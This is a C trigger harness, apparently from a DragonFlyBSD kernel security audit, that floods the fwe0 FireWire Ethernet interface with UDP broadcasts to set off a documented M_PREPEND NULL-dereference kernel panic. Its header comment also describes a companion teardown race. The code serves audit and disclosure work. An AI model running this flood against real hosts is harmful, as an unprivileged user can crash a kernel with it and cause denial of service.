⬢ DragonFlyBSD Kernel Audit
DF-4763 / fwe_trigger.c
← back to finding ↓ download raw
/*
 * fwe_trigger.c - trigger harness for DF-4762 / DF-4763 (sys/dev/netif/fwe/if_fwe.c)
 *
 * DF-4763 (M_PREPEND NULL-deref, if_fwe.c:506-511):
 *	Unprivileged TX flood on fwe0 drives fwe_as_output()'s
 *	M_PREPEND(m, ETHER_ALIGN, M_NOWAIT).  Under mbuf exhaustion the macro
 *	frees the chain and returns NULL; the unconditional
 *	`m->m_pkthdr.len' deref panics the kernel.
 *
 * DF-4762 (fwe_stop RX teardown race, if_fwe.c:258-281 vs 544-591):
 *	While a FireWire peer streams isochronous traffic, an admin running
 *	`ifconfig fwe0 down' (or driver detach) makes fwe_stop() kfree()
 *	xferq->bulkxfer and m_freem() its mbufs while a concurrent
 *	fwohci_rbuf_update()/blocked fwe_as_input() still manipulates /
 *	walks those chunks (no common lock: rbuf_update runs with only
 *	crit_enter(); fwe_as_input takes the serializer *inside*).
 *
 * This harness performs the unprivileged half (TX flood + device probe).
 * The DF-4762 root half is in run.sh (`ifconfig fwe0 down' loop while a
 * peer streams on stream channel hw.firewire.fwe.stream_ch=1).
 *
 * Build:	cc -O -o fwe_trigger fwe_trigger.c
 * Exit:	0 flood completed, 2 fwe0 absent (not testable on this host),
 *		1 other error.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *ifname = (argc > 1) ? argv[1] : "fwe0";
	unsigned int ifidx;
	struct sockaddr_in dst;
	char buf[1400];
	int s, i, n, on = 1;

	ifidx = if_nametoindex(ifname);
	if (ifidx == 0) {
		printf("[!] interface %s not present on this host (%s)\n",
		    ifname, strerror(errno));
		printf("[!] fwe0 attaches only as a child of an OHCI-1394 "
		       "FireWire controller (fwohci). This host exposes no "
		       "such PCI device, so neither DF-4762 nor DF-4763 is "
		       "runtime-testable here.\n");
		return (2);
	}
	printf("[+] %s present (ifindex %u); flooding TX to stress "
	    "fwe_as_output()/M_PREPEND\n", ifname, ifidx);

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return (1);
	}
	if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
		perror("setsockopt(SO_BROADCAST)");
		return (1);
	}
	memset(buf, 0x5a, sizeof(buf));
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);			/* discard */
	dst.sin_addr.s_addr = htonl(0xffffffff);	/* 255.255.255.255 */

	for (i = 0; i < 100000; i++) {
		n = sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&dst, sizeof(dst));
		if (n < 0) {
			perror("sendto");
			break;
		}
	}
	printf("[+] sent %d datagrams\n", i);
	return (0);
}